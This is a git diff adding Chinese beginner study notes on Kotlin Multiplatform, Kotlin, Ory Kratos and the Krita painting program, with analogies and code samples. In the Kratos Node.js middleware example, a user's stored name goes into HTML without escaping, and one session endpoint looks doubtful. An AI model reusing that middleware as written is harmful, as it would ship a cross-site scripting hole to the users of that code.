+`expect` 就像一份合同：commonMain 说"我需要一个能告诉我平台名字的东西"。每个平台各自签这份合同，给出自己的答案。commonMain 不需要知道具体怎么实现的。
+
+### 示例三：共享网络请求（配合 Ktor）
+
+KMP 生态中有 Ktor 库，可以在共享模块里写网络请求：
+
+```kotlin
+// ===== commonMain/kotlin/shared/api.kt =====
+package com.example.shared
+
+import io.ktor.client.*
+import io.ktor.client.call.*
+import io.ktor.client.request.*
+
+class UserRepository {
+
+    private val client = HttpClient()
+
+    suspend fun getUser(id: Int): User {
+        return client.get("https://api.example.com/users/$id")
+            .body()
+    }
+}
+
+data class User(val id: Int, val name: String, val email: String)
+```
+
+这段网络请求代码在 Android 和 iOS 上都能直接运行，不需要任何改动。Ktor 底层会根据目标平台自动选择最合适的 HTTP 引擎。
+
+## 项目结构一览
+
+```
+my-app/
+├── shared/                    ← 共享模块
+│   ├── build.gradle.kts       ← 配置 KMP 目标平台
+│   └── src/
+│       ├── commonMain/kotlin/ ← 共享逻辑（两端共用）
+│       │   └── shared/
+│       │       ├── validator.kt
+│       │       ├── platform.kt
+│       │       └── api.kt
+│       ├── androidMain/kotlin/  ← Android 特有代码
+│       └── iosMain/kotlin/      ← iOS 特有代码
+├── android-app/               ← Android 原生 App
+└── ios-app/                   ← iOS 原生 App
+```
+
+## 为什么选 KMP 而不是 Flutter / React Native？
+
+| 维度 | KMP | Flutter / RN |
+|------|-----|-------------|
+| 共享范围 | 业务逻辑 | 整个 UI + 逻辑 |
+| UI 体验 | 100% 原生 | 自绘引擎 / WebView |
+| 学习成本 | 团队只需多学 Kotlin | 需学 Dart / JavaScript |
+| 接入方式 | 渐进式，现有 App 可逐步迁移 | 通常需从零搭建 |
+| 性能 | 逻辑层无额外开销 | 有桥接或渲染层开销 |
+
+KMP 适合的场景：你已经有成熟的 Android 和 iOS 团队，不想推翻现有 UI 代码，只想把重复的业务逻辑抽出来共享。
+
+## 关键要点
+
+1. KMP 共享的是**逻辑**，不是 UI。每个平台保持原生界面。
+2. `commonMain` 放共享代码，`androidMain` / `iosMain` 放平台特定代码。
+3. `expect` / `actual` 是解决平台差异的核心机制。
+4. 可以渐进式采用，不需要重写整个 App。
+5. 逻辑代码两端零开销——不是通过桥接通信，而是直接编译到原生二进制中。
diff --git a/src/content/docs/projects/kotlin.md b/src/content/docs/projects/kotlin.md
new file mode 100644
index 000000000..5261282d4
--- /dev/null
+++ b/src/content/docs/projects/kotlin.md
@@ -0,0 +1,262 @@
+---
+title: Kotlin — JetBrains 的 JVM 语言
+来源: https://github.com/JetBrains/kotlin
+日期: 2026-06-13
+子分类: 语言运行时
+分类: 编译器
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**Kotlin** 是 JetBrains 在 2010 年发布、2016 年发布 1.0 的现代编程语言，官方仓库 [JetBrains/kotlin](https://github.com/JetBrains/kotlin) 同时托管编译器、标准库与多平台后端。它首先运行在 **JVM** 上，与 Java 字节码互操作；如今还可编译到 **JavaScript**、**WebAssembly**、**Native**（LLVM），并通过 **Kotlin Multiplatform（KMP）** 在移动端、服务端、桌面之间共享业务逻辑。
+
+日常类比：如果把 **Java** 想象成一座已经运营三十年的**大型百货商场**——货品齐全、人流稳定、规章制度写在厚厚一本手册里（样板代码多、空指针事故频发）；那 **Kotlin** 像是同集团在同一地块上新建的**精品生活馆**：
+
+- **货架布局更紧凑**（语法简洁：`data class`、类型推断、单表达式函数），顾客（开发者）走更少步数就能买到东西；
+- **门口贴了「易碎品请轻放」标签**（类型系统区分 `String` 与 `String?`），很多「摔碎」在结账前就被保安（编译器）拦住；
+- **地下通道直连老商场**（100% 与 Java 互操作），你可以只翻新一层楼（新模块用 Kotlin），不必整栋拆迁；
+- **后勤队换成协程**（`suspend` / `CoroutineScope`），一个服务员可以同时照应十桌客人，不必每桌配一名专职线程。
+
+Google 自 2017 年起将 Kotlin 列为 **Android 官方首选语言**；后端领域 Spring、Ktor、Exposed 的一等支持，也让 Kotlin 成为 JVM 生态里增长最快的语言之一。
+
+## 为什么值得学
+
+零基础或从 Java 转 Kotlin，常见收益：
+
+| 痛点（Java / 传统 JVM） | Kotlin 的应对 |
+|-------------------------|---------------|
+| `NullPointerException` 线上频发 | 可空类型 `?`、`?.`、`?:` 在编译期约束 |
+| POJO + Lombok + getter/setter 冗长 | `data class` 一行生成 `equals` / `hashCode` / `copy` |
+| 回调地狱、线程池配置复杂 | 协程 + `suspend`，用顺序代码写并发 |
+| 想渐进迁移老项目 | 同一模块里 `.java` 与 `.kt` 混编，互调零摩擦 |
+| Android UI 样板代码多 | 与 **Jetpack Compose** 声明式 UI 天然契合 |
+
+即使主攻后端，懂 Kotlin 也有助于阅读 **Gradle Kotlin DSL**、**Spring Boot 3** 样例、以及 Android 客户端代码——它们共享同一套语言特性。
+
+## 核心概念
+
+### 1. 编译管线：从 `.kt` 到多目标
+
+```
+┌────────────────────────────────────────────────────────────┐
+│  源码 .kt / .kts（脚本）                                     │
+├────────────────────────────────────────────────────────────┤
+│  Kotlin 编译器（kotlinc）                                    │
+│    → JVM：.class 字节码（与 javac 产物互操作）                │
+│    → JS / Wasm / Native：各自后端                             │
+├────────────────────────────────────────────────────────────┤
+│  运行时：JVM HotSpot / Node / 原生二进制 / 浏览器 Wasm         │
+└────────────────────────────────────────────────────────────┘
+```
+
+Kotlin 编译器用 **Kotlin 自身** 的大部分逻辑编写（自举），JetBrains 在 IntelliJ IDEA 里 dogfood 同一套语言。命令行可用 **Kotlin CLI** 或构建工具 **Gradle**（`org.jetbrains.kotlin.jvm` 插件）驱动编译。
+
+### 2. `val` 与 `var`：读多写少
+
+- **`val`**：只赋值一次，类似 Java 的 `final`，引用不可变（对象内容仍可变，如 `MutableList`）。
+- **`var`**：可重新赋值。
+
+类型可显式声明，也可由编译器 **推断**：
+
+```kotlin
+val name: String = "Kotlin"   // 显式类型
+val year = 2016                 // 推断为 Int
+var downloads = 1_000_000
+downloads += 1                  // var 允许
+```
+
+习惯上：**默认 `val`，只有需要改引用时才用 `var`**——这和函数式风格、并发安全都更合拍。
+
+### 3. 函数：表达式体与默认参数
+
+```kotlin
+fun greet(name: String = "world"): String = "Hello, $name!"
+
+fun main() {
+    println(greet())           // Hello, world!
+    println(greet("JetBrains"))
+}
+```
+
+- **单表达式函数**可写 `fun f() = expr`，返回类型自动推断。
+- **默认参数**减少 Java 式重载爆炸；配合 **命名参数** `greet(name = "Alice")` 提升可读性。
+- 无返回值时类型为 `Unit`（类似 `void`），通常省略。
+
+### 4. 空安全：类型系统里的「易碎标签」
+
+Java 里任何引用都可能暗中为 `null`；Kotlin 把可空性 **写进类型**：
+
+| 写法 | 含义 |
+|------|------|
+| `String` | 不可为 `null` |
+| `String?` | 可为 `null` |
+| `user?.name` | 安全调用，整条链遇 `null` 则结果为 `null` |
+| `user?.name ?: "匿名"` | Elvis：左侧为 `null` 时用右侧 |
+| `user!!.name` | 断言非空，若实际为 `null` 则 NPE（慎用） |
+
+编译器在 **智能转换（smart cast）** 后会把 `String?` 收窄为 `String`，例如 `if (x != null) x.length`。
+
+### 5. 类与 `data class`
+
+```kotlin
+data class User(val id: Long, val name: String, val email: String?)
+
+fun main() {
+    val u1 = User(1, "Ada", "ada@example.com")
+    val u2 = u1.copy(name = "Augusta")  // 不可变更新
+    println(u2)  // User(id=1, name=Augusta, email=ada@example.com)
+}
+```
+
+- 主构造函数参数可直接声明为属性：`class Point(val x: Int, val y: Int)`。
+- 类默认 **不可继承**（`final`），需显式 `open` 才能被继承——与 Java 默认 `extends` 相反。
+- `data class` 自动生成 `equals`、`hashCode`、`toString`、`copy`、`componentN()`（解构）。
+
+### 6. 集合与函数式 API
+
+Kotlin 标准库区分 **只读** 与 **可变** 视图：
+
+```kotlin
+val list = listOf(1, 2, 3)           // List<Int>，只读接口
+val mutable = mutableListOf(1, 2, 3) // MutableList<Int>
+
+val doubled = list
+    .filter { it > 1 }
+    .map { it * 2 }
+// [4, 6]
+```
+
+`it` 是单参数 lambda 的默认形参名；链式调用与 Java Stream 类似，但在 Kotlin 里更常用。
+
+### 7. 协程：轻量并发
+
+线程是 OS 级资源，数量上千就吃力；**协程**是语言级任务单元，可在少量线程上 **挂起（suspend）** 与恢复：
+
+```kotlin
+import kotlinx.coroutines.*
+
+fun main() = runBlocking {
+    val deferred = async { fetchUser() }
+    val user = deferred.await()
+    println(user)
+}
+
+suspend fun fetchUser(): String {
+    delay(100) // 挂起，不阻塞线程
+    return "Ada"
+}
+```
+
+- `suspend` 标记可在不阻塞线程的情况下「等待」的函数。
+- `CoroutineScope` + `launch` / `async` 管理生命周期；Android 用 `viewModelScope`，服务端用 `runBlocking` 或框架集成。
+- 库 **`kotlinx.coroutines`** 需单独依赖，不属于语言内置关键字之外的stdlib。
+
+### 8. 与 Java 互操作
+
+- Kotlin 调用 Java：注意 Java 类型在 Kotlin 里常变成 **平台类型**（可空信息丢失），要对可能为 `null` 的返回值手动处理。
+- Java 调用 Kotlin：`@JvmStatic`、`@JvmOverloads`、`@JvmName` 等注解控制生成字节码的静态方法、重载与命名。
+- 同一 Gradle/Maven 模块可混放 `.java` 与 `.kt`，无需拆项目。
+
+### 9. 多平台（KMP）简述
+
+**Kotlin Multiplatform** 把 **共享业务逻辑** 编译到各端原生目标，UI 仍可保持 SwiftUI / Compose / Web 原生。与「一套代码画所有 UI」的 Flutter 不同，KMP 更强调 **逻辑共享、界面各写各的**。入门可先专注 JVM/Android，再按需扩展 KMP。
+
+## 代码示例一：空安全处理用户输入
+
+下面模拟从 API 或表单读取可能缺失的字段，并安全拼接显示名：
+
+```kotlin
+data class Profile(val nickname: String?, val email: String?)
+
+fun displayName(profile: Profile?): String {
+    val nick = profile?.nickname?.trim()
+    val mail = profile?.email?.substringBefore('@')
+    return when {
+        !nick.isNullOrBlank() -> nick
+        !mail.isNullOrBlank() -> mail
+        else -> "访客"
+    }
+}
+
+fun main() {
+    println(displayName(Profile("  kotlin  ", null)))     // kotlin
+    println(displayName(Profile(null, "dev@jetbrains.com"))) // dev
+    println(displayName(null))                              // 访客
+}
+```
+
+要点：全程无 `!!`；`?.` 与 `isNullOrBlank()` 把 NPE 风险压在编译期与可读的分支里。
+
+## 代码示例二：协程并发抓取多个 URL
+
+多个网络请求并发执行，再汇总结果——这是服务端与 Android 的常见模式：
+
+```kotlin
+import kotlinx.coroutines.*
+import kotlin.system.measureTimeMillis
+
+suspend fun fetchTitle(id: Int): String {
+    delay(100L * id) // 模拟 IO
+    return "page-$id"
+}
+
+fun main() = runBlocking {
+    val time = measureTimeMillis {
+        val titles = coroutineScope {
+            val jobs = (1..5).map { n ->
+                async(Dispatchers.Default) { fetchTitle(n) }
+            }
+            jobs.awaitAll()
+        }
+        println(titles) // [page-1, page-2, page-3, page-4, page-5]
+    }
+    println("completed in ${time}ms") // 约 500ms，而非串行 1500ms+
+}
+```
+
+`async` + `awaitAll` 在结构化并发子作用域里并行；任一子协程失败会取消兄弟任务（可配置）。生产环境应用 `withContext(Dispatchers.IO)` 包裹真实阻塞 IO，并交给 OkHttp、Ktor Client 等库。
+
+## 工具链与环境
+
+| 工具 | 用途 |
+|------|------|
+| **IntelliJ IDEA** / **Android Studio** | 官方 IDE，内置 Kotlin 插件与调试器 |
+| **Gradle** `kotlin("jvm") version "2.x"` | JVM 项目构建 |
+| **[kotlinlang.org/docs](https://kotlinlang.org/docs/home.html)** | 官方文档与 Kotlin Playground |
+| **kotlinc** | 命令行编译器，`kotlinc hello.kt -include-runtime -d hello.jar` |
+| **detekt** / **ktlint** | 静态分析与格式化 |
+
+创建 JVM 项目最快路径：IntelliJ → New Project → **Kotlin** → Application；或 CLI：
+
+```bash
+# 使用 Gradle 初始化（需已安装 JDK 17+）
+gradle init --type kotlin-application --dsl kotlin
+./gradlew run
+```
+
+## 学习路径建议
+
+1. **语法与空安全**：官方 [Basic syntax](https://kotlinlang.org/docs/basic-syntax.html)、[Null safety](https://kotlinlang.org/docs/null-safety.html)，在 Playground 或 IDE Scratch 文件里敲一遍。
+2. **面向对象与函数式**：`data class`、`sealed class`、`when` 表达式、集合 lambda。
+3. **协程**：[Coroutines basics](https://kotlinlang.org/docs/coroutines-basics.html)，写一个小爬虫或并行下载器。
+4. **选方向深入**：
+   - Android → Jetpack Compose、ViewModel、`Flow`
+   - 后端 → Ktor 或 Spring Boot + Kotlin、Exposed/JPA
+   - 跨端 → Kotlin Multiplatform 官方教程
+
+与专题笔记 [[openjdk]] 对照：Kotlin 编译到 JVM 字节码后，仍由 **HotSpot** 解释 / JIT、由 **GC** 回收对象；换的是 **源码层表达力与安全性**，不是换掉整个运行时。若关心原生镜像与冷启动，可结合 [[graalvm]] Native Image 将 Kotlin 一并 AOT 编译。
+
+## 常见误区
+
+- **「Kotlin 只能写 Android」** — JVM 服务端、Gradle 插件、数据脚本（`.kts`）同样普遍。
+- **「学完 Kotlin 就不用学 Java」** — 读老库源码、配置 Maven 插件、理解字节码与 Spring 历史 API 仍需要 Java 底子。
+- **「协程 = 线程」** — 协程是调度模型；底层仍跑在线程池上，CPU 密集任务要选合适 `Dispatcher`。
+- **到处用 `!!`** — 等于放弃空安全；应优先 `?.`、`?:`、`requireNotNull`、`checkNotNull`。
+
+## 延伸阅读
+
+- 官方仓库：[github.com/JetBrains/kotlin](https://github.com/JetBrains/kotlin)
+- 语言演进与兼容性：[Kotlin releases](https://kotlinlang.org/docs/releases.html)
+- Android 官方：[Kotlin 优先](https://developer.android.com/kotlin)
+- 本库相关笔记：[[jetpack-compose-samples]]（Compose UI 样例）、[[openjdk]]（JVM 底座）、[[graalvm]]（多语言运行时与 Native Image）
diff --git a/src/content/docs/projects/kratos-ory.md b/src/content/docs/projects/kratos-ory.md
new file mode 100644
index 000000000..eadc43548
--- /dev/null
+++ b/src/content/docs/projects/kratos-ory.md
@@ -0,0 +1,307 @@
+---
+title: Ory Kratos 零基础学习笔记
+来源: https://github.com/ory/kratos
+日期: 2026-06-13
+分类: 其他
+子分类: 工程文化
+provenance: pipeline-v3
+---
+
+# Ory Kratos 零基础学习笔记
+
+## 一、它到底解决了什么问题
+
+想象一下：你要开一家餐厅。
+
+你希望把精力放在「做菜」上——菜谱、口味、食材。而不希望亲自去造一辆送餐自行车、研究防盗门锁、或者设计顾客登记表。
+
+**Ory Kratos 就是这个"identity 领域的餐厅后厨"**。
+
+它专门负责「谁是你的用户」这件事：注册、登录、忘记密码、邮箱验证、修改资料。你不需要在每个项目里重复写 `if password == correct` 的逻辑，而是把认证工作交给 Kratos，你的代码只关注"做菜"。
+
+关键特征：
+- **纯 API**：没有后台管理界面，只有 HTTP API。你用自己的前端页面来对接。
+- **云原生**：专为 Docker / Kubernetes 设计，不绑任何语言或框架。
+- **开源**：MIT 许可证，可以自托管。
+
+## 二、核心概念（从类比到术语）
+
+### 2.1 身份（Identity）
+
+一个 Identity 就是你系统里的"一个人"或"一个设备"。它包含：
+- 登录信息（邮箱 + 密码、或者第三方登录）
+- 个人属性（名字叫什麼、头像、手机号）
+
+类比：身份 = 你的员工胸牌。上面有照片（身份标识）+ 部门（属性）。
+
+### 2.2 属性（Traits）
+
+Traits 是身份里的"个人信息字段"。比如 email、first_name、last_name。
+
+类比：胸牌上写的"姓名：张三，部门：研发"。你可以随时更新这些信息。
+
+### 2.3 流（Flow）
+
+这是 Kratos 最核心的概念。Kratos 里的每一步操作都是一个 **Flow**——登录是一个 Flow，注册是一个 Flow，修改密码又是一个 Flow。
+
+每个 Flow 有自己的 **flow ID**（一串 UUID）。
+
+类比：
+- 注册 = 填写一张入职申请表
+- 每个 Flow = 一次申请过程
+- Flow ID = 申请单号
+
+**为什么用 Flow 而不是简单调一个 API？** 因为每个 Flow 包含 CSRF 保护、过期时间、中间步骤验证，是一套完整的工作流。
+
+### 2.4 会话（Session）
+
+用户登录成功后，Kratos 会创建一个 Session。Session 里记录：
+- 用户是谁
+- 什么时候登录的
+- 认证强度等级（AAL1 = 密码；AAL2 = 密码 + 短信验证码）
+
+类比：Session = 你刷工卡进门后拿到的"入场手环"。保安（你的后端服务）看到手环，就知道你是谁。
+
+### 2.5 API 端口
+
+Kratos 有两个端口：
+
+| 端口 | 名称 | 用途 |
+|------|------|------|
+| 4433 | Public API | 给浏览器和前端调用的接口 |
+| 4434 | Admin API | 给后端服务和管理工具调用的接口 |
+
+类比：4433 = 顾客自助点餐机；4434 = 厨房内部系统。
+
+## 三、登录流程的工作原理
+
+以"用户登录"为例，Kratos 的工作流程是这样的：
+
+1. 你的前端页面让用户访问 `/login`
+2. 前端请求 Kratos Public API 创建一个登录 Flow，拿到 flow_id
+3. Kratos 返回一个 JSON 结构，告诉你这个登录表单有哪些字段（邮箱输入框、密码输入框）
+4. 你的前端根据这个 JSON **动态渲染**出登录页面
+5. 用户填写并提交表单
+6. 前端把结果 POST 给 Kratos 验证
+7. Kratos 验证通过后，创建 Session，重定向到仪表盘
+
+**核心思想**：前端不需要知道表单长什么样。Kratos 告诉你需要哪些字段，你照做就行。这就是"API First"。
+
+## 四、代码示例
+
+### 示例 1：查询登录表单结构
+
+调用这个 API，Kratos 会告诉你登录页面需要渲染哪些字段。
+
+```bash
+# 第一步：获取一个登录 Flow 的 ID
+flowId=$(curl -s -X GET \
+    -H "Accept: application/json" \
+    http://127.0.0.1:4433/self-service/login/api | jq -r '.id')
+
+# 第二步：用 Flow ID 获取完整的表单结构
+curl -s -X GET \
+    -H "Accept: application/json" \
+    "http://127.0.0.1:4433/self-service/login/flows?id=$flowId" | jq .
+```
+
+返回结果示例（关键部分）：
+
+```json
+{
+  "id": "5caccb0b-c3b5-4e9d-9944-213dccb3c8d0",
+  "type": "api",
+  "request_url": "http://127.0.0.1:4433/self-service/login/api",
+  "ui": {
+    "action": "http://127.0.0.1:4433/self-service/login?flow=5caccb0b-...",
+    "method": "POST",
+    "nodes": [
+      {
+        "type": "input",
+        "attributes": {
+          "name": "csrf_token",
+          "type": "hidden",
+          "value": ""
+        }
+      },
+      {
+        "type": "input",
+        "attributes": {
+          "name": "identifier",
+          "type": "text",
+          "required": true
+        },
+        "meta": {
+          "label": { "text": "E-Mail" }
+        }
+      },
+      {
+        "type": "input",
+        "attributes": {
+          "name": "password",
+          "type": "password",
+          "required": true
+        },
+        "meta": {
+          "label": { "text": "Password" }
+        }
+      }
+    ]
+  },
+  "state": "choose_method"
+}
+```
+
+你看到的 `nodes` 数组就是表单的所有字段。Kratos 告诉你："你需要一个隐藏的 CSRF 字段、一个邮箱输入框、一个密码输入框"。你的前端照此渲染即可。
+
+### 示例 2：提交注册 + 查询会话
+
+用户注册后，Kratos 自动创建身份并给你返回会话信息。
+
+```bash
+# 第一步：获取注册 Flow ID
+flowId=$(curl -s -X GET \
+    -H "Accept: application/json" \
+    http://127.0.0.1:4433/self-service/registration/api | jq -r '.id')
+
+# 第二步：用 curl 提交注册数据
+curl -s -X POST \
+    -H "Content-Type: application/json" \
+    -H "Accept: application/json" \
+    -d '{
+      "traits": {
+        "email": "zhangsan@example.com",
+        "name": {
+          "first": "San",
+          "last": "Zhang"
+        }
+      },
+      "password": "SecurePass123!"
+    }' \
+    "http://127.0.0.1:4433/self-service/registration?flow=$flowId" | jq .
+```
+
+返回结果示例：
+
+```json
+{
+  "id": "de07f061-8624-4888-a4ea-f36d608f8aa7",
+  "ui": {
+    "messages": [
+      {
+        "text": "Please verify your email address by clicking the link we sent you.",
+        "type": "info"
+      }
+    ]
+  },
+  "identity": {
+    "id": "8250c7cf-9815-4a30-a5f6-9166760d4b20",
+    "traits": {
+      "email": "zhangsan@example.com",
+      "name": {
+        "first": "San",
+        "last": "Zhang"
+      }
+    }
+  }
+}
+```
+
+注册成功后，你可以随时查询当前会话：
+
+```bash
+# 查询当前登录会话
+curl -s \
+    -H "Cookie: ory_kratos_session=..." \
+    "http://127.0.0.1:4433/self-service/sessions?token=..." | jq .
+```
+
+返回的会话信息包含认证强度等级（AAL）、设备信息、登录时间等完整数据。
+
+### 示例 3：Node.js 后端中间件（保护仪表盘）
+
+你的后端需要判断用户是否已登录。用 Kratos 的 Session API 做验证：
+
+```typescript
+import express from 'express';
+
+const app = express();
+const KRATOS_PUBLIC_URL = 'http://127.0.0.1:4433';
+
+// 保护中间件
+async function requireLogin(req: express.Request, res: express.Response, next: express.NextFunction) {
+  const cookieHeader = req.headers.cookie || '';
+
+  const session = await fetch(
+    `${KRATOS_PUBLIC_URL}/self-service/sessions`,
+    {
+      headers: { Cookie: cookieHeader }
+    }
+  );
+
+  if (session.status === 401) {
+    // 未登录，重定向到 Kratos 的登录页面
+    const loginFlow = await fetch(
+      `${KRATOS_PUBLIC_URL}/self-service/login/browser`
+    );
+    const flowData = await loginFlow.json();
+    return res.redirect(
+      `${KRATOS_PUBLIC_URL}/self-service/login?flow=${flowData.id}`
+    );
+  }
+
+  // 已登录，把用户信息注入请求对象
+  const data = await session.json();
+  (req as any).user = data.identity;
+  next();
+}
+
+// 使用保护中间件
+app.get('/dashboard', requireLogin, (req: express.Request, res: express.Response) => {
+  const name = (req as any).user?.traits?.name?.first || '用户';
+  res.send(`<h1>你好，${name}！这是你的仪表盘。</h1>`);
+});
+```
+
+## 五、Kratos 的架构定位
+
+Kratos 在 Ory 全家桶中的位置：
+
+| 组件 | 职责 | 类比 |
+|------|------|------|
+| **Kratos** | 用户管理（注册/登录/资料） | 人事部 |
+| **Hydra** | OAuth2 / OpenID Connect 授权 | 发卡员 |
+| **Ory Keto** | 权限控制（谁能访问什么） | 门禁系统 |
+
+如果你的应用只需要基本的登录注册，Kratos 就够了。如果需要 OAuth2 第三方登录（比如"用 Google 登录"），需要搭配 Hydra。
+
+## 六、自托管 vs 托管服务
+
+**自托管**（Open Source）：
+- 完全免费，MIT 许可证
+- 自己部署在 Docker / Kubernetes 上
+- 支持 PostgreSQL、MySQL、CockroachDB、SQLite
+- 适合学习、原型、或不想被绑定的场景
+
+**Ory Network**（托管服务）：
+- 开箱即用，不用管基础设施
+- 与开源版本 API 兼容
+- 按使用量付费
+- 适合不想运维的团队
+
+## 七、学习路线建议
+
+1. 跟着官方 Quickstart 跑一遍（`docker compose -f quickstart.yml up`）
+2. 理解 Flow 的概念——这是 Kratos 的灵魂设计
+3. 尝试修改 `kratos.yml` 配置文件
+4. 用你熟悉的前端框架（React/Vue）替换示例中的 Node.js UI
+5. 接入 PostgreSQL 替代 SQLite
+6. 阅读 [Self-Service Flows](https://www.ory.com/docs/kratos/self-service) 文档深入每个 Flow
+
+## 八、关键要点总结
+
+- Kratos 是"身份管理的基础设施"，不是 UI 框架
+- 一切围绕 **Flow** 和 **Session** 两个核心概念
+- 前端根据 Kratos 返回的 JSON **动态渲染**表单，不是写死 HTML
+- API First 设计让它可以与任何前端技术栈对接
+- 支持多因素认证、社交登录、账号恢复等完整身份流程
diff --git a/src/content/docs/projects/krita.md b/src/content/docs/projects/krita.md
new file mode 100644
index 000000000..e7f742fc4
--- /dev/null
+++ b/src/content/docs/projects/krita.md
@@ -0,0 +1,366 @@
+---
+title: Krita — 数字绘画专业编辑器
+来源: 'https://github.com/KDE/krita'
+日期: 2026-06-13
+分类: CLI
+子分类: 编辑器与 IDE
+provenance: pipeline-v3
+难度: 初级
+---
+
+## 是什么
+
+**Krita** 是 KDE 社区维护的**免费开源数字绘画与 2D 动画软件**，源码托管于 [KDE/krita](https://github.com/KDE/krita)，采用 GPL 许可，跨 Windows / macOS / Linux。它面向插画师、概念艺术家、漫画作者和纹理画师——**笔刷手感、图层与蒙版、色彩管理**是核心，而不是像 [[inkscape]] 那样以矢量曲线为主，也不像 [[gimp]] 那样偏通用图像修图。
+
+日常类比：如果把 Photoshop 比作「带滤镜的照相馆暗房」，Krita 更像**专门为手绘而生的专业画架工作室**——画布永远铺好、颜料管（笔刷引擎）按插画习惯排列、旁边还有动画时间轴可以翻页看分镜。你叠透明硫酸纸（图层）画线稿、上色、加特效，随时掀开某一层改细节，底下的线稿不用重画。再打个比方：位图绘画是在**像素网格上堆颜色**，Krita 帮你管的是「哪一层、用什么笔、什么混合模式、什么色域」——让你专注画，而不是和文件格式搏斗。
+
+Krita 5.x 是当前稳定线，内置 100+ 专业笔刷、9 种笔刷引擎、矢量文字/对话框工具（SVG）、完整 2D 动画工作区，以及基于 **Python 3 + PyQt** 的脚本与插件 API（libkis / PyKrita）。
+
+## 为什么重要
+
+零基础学数字绘画或游戏/动画资产管线，绕不开 Krita 的几个现实理由：
+
+- **零授权成本**：个人、教育、商业插画均可免费使用，无订阅、无分成
+- **为绘画优化**：笔刷稳定器（防抖）、画布旋转、Wrap-around 无缝平铺、漫画分格矢量库——这些是通用修图软件后加的功能，Krita 从第一天就为画师设计
+- **开放格式**：原生 `.kra` 基于 ZIP + XML，图层结构可脚本读写；可导出 PNG、JPEG、PSD、TIFF、WebP、PDF、动画序列
+- **与开源创作三角配合**：[[inkscape]] 做矢量 Logo → Krita 上色与纹理 → [[blender]] 贴图与渲染，全程可脚本批处理
+- **Python 一等公民**：批量导出、自定义面板、程序化笔触（Painting API）可在 Scripter 或 kritarunner 里跑
+
+## 核心要点
+
+### 1. 文档、图像与节点（Document / Image / Node）
+
+Krita 内部区分 **Document（文档）** 和 **Image（图像）**：文档知道文件名、色域配置；图像管图层树。脚本 API 里图层和蒙版统一叫 **Node**——可以是 `paintlayer`、`grouplayer`、`vectorlayer`、`filterlayer`、`clonelayer`，或 `filtermask`、`transformmask`、`transparencymask` 等蒙版。
+
+类比：Document 是**文件夹封面上的标签**，Image 是**文件夹里那叠透明纸**，Node 是每一张纸或贴在纸上的便利贴（蒙版）。
+
+### 2. 图层栈（Layer Stack）
+
+图层像一叠**可裁剪的透明纸**：上面的色块挡住下面，也可以设混合模式让颜色「透」下去。Krita 支持：
+
+| 类型 | 作用 |
+| --- | --- |
+| **Paint Layer** | 主绘画层，笔刷直接画上去 |
+| **Group Layer** | 把多层打组，整组移动/变换/加蒙版 |
+| **Vector Layer** | SVG 矢量对象，漫画对话框、文字 |
+| **File Layer** | 链接外部图片，源文件更新可刷新 |
+| **Filter Layer / Filter Mask** | 非破坏性滤镜（模糊、色阶等） |
+| **Clone Layer** | 克隆另一层内容，改源层同步 |
+
+**Alpha 继承（Alpha Inheritance）**：子层只在上层已有像素范围内作画，上色时不溢出线稿——线稿一层、上色一层是漫画工作流标配。
+
+### 3. 笔刷引擎（Brush Engines）
+
+Krita 不是「一种笔刷走天下」，而是 **9+ 种笔刷引擎**，每种引擎有独立参数：
+
+- **Pixel** — 基础圆笔、纹理笔
+- **Color Smudge** — 混色、涂抹，模拟油画边缘
+- **Shape** — 按形状散布（叶、草、星点）
+- **Particle** — 粒子飞溅
+- **Filter** — 笔划即滤镜效果
+
+笔刷可打标签（tag）管理，**稳定器（Stabilizer）** 三种模式平滑手抖线条；**Dynamic Brush** 可设质量、拖拽感。Favorites 与 **Brush Presets** 面板相当于画师自己的「笔袋」。
+
+### 4. 色彩管理与色域
+
+专业绘画必须理解 **Color Model / Depth / Profile**：
+
+- 常见组合：`RGBA` + `U8`（8 位/通道）用于屏幕稿；`F32` 浮点用于 HDR 或重度调色
+- **sRGB** 适合网页与多数显示器；**线性 RGB** 适合与 [[blender]] 等 3D 管线对接
+- 文档创建时选错 profile，导出到印刷或游戏引擎可能出现**偏色**——Krita 在新建对话框和 **Image → Convert Image Color Space** 里都可改
+
+### 5. 选区、变换与辅助视图
+
+- **选区（Selection）** 可存为 **Selection Mask**，非破坏性修改
+- **Transform Mask** 对图层做非破坏性缩放/旋转
+- **Canvas Only Mode（Tab）** 隐藏 UI 全屏画
+- **Rotate Canvas（Shift+Space 拖拽）** 旋转的是「画板角度」，不是图层内容——手腕舒服比扭脖子重要
+
+### 6. 动画工作区（Animation Workspace）
+
+切换到动画布局后，时间轴支持：
+
+- 多图层动画、导入音频、洋葱皮（Onion Skin）
+- 数千帧时间轴、帧拖拽、位置/透明度补间
+- 导出为视频或 PNG 序列，继续进 [[blender]] 合成或视频软件
+
+### 7. 资源与 .kra 文件
+
+`.kra` 本质是 **ZIP 包**：XML 描述图层树，子目录存像素块、缩略图、嵌入资源。Settings → Manage Resources → **Open Resources Folder** 可看到笔刷、预设、Python 插件目录（`pykrita`）。**Workspace** 可保存面板布局与快捷键，换机器恢复习惯。
+
+### 8. Python 脚本与插件
+
+Krita 通过 **libkis** 把 C++ 内核包装成 QObject，暴露给 **Python 3**（菜单 **Tools → Scripts → Scripter**）。入口单例：
+
+```python
+from krita import Krita
+
+krita = Krita.instance()           # 也可写 Application / Scripter 内置别名
+doc = krita.activeDocument()
+node = doc.activeNode()
+print(krita.version(), doc.name(), node.name())
+```
+
+**Autostart 插件**：在资源目录 `pykrita/插件名/插件名.desktop` + `插件名.py` 注册，启动时加载。**Batchmode** 关闭导出对话框，适合无人值守批处理。
+
+## 界面与工作流速览
+
+| 区域 | 作用 |
+| --- | --- |
+| 画布 | 中间绘画区，滚轮缩放，Space+左键平移 |
+| 工具栏 | 笔刷、橡皮、渐变、填充、形状、文字 |
+| 工具选项 | 笔刷大小、不透明度、混合模式、稳定器 |
+| 图层 docker | 图层栈、混合模式、不透明度、Alpha 继承 |
+| 色环 / 色板 | 前景/背景色，Palette 可存项目配色 |
+
+**零基础 15 分钟流程**：File → New → 选 3000×2000 RGBA → 新建矢量层勾线稿（或导入扫描稿）→ 新建 Paint Layer 勾 **Alpha Inheritance** 上色 → 加 Group 分「线稿/色块/高光」→ Export 为 PNG。
+
+## 常用快捷键
+
+| 快捷键 | 功能 |
+| --- | --- |
+| `B` | 笔刷工具 |
+| `E` | 橡皮（或笔刷预设里切换 Eraser） |
+| `G` | 渐变 / 填充（取决于当前子工具） |
+| `M` | 选区工具 |
+| `T` | 变换工具 |
+| `F5` | 打开笔刷编辑器 |
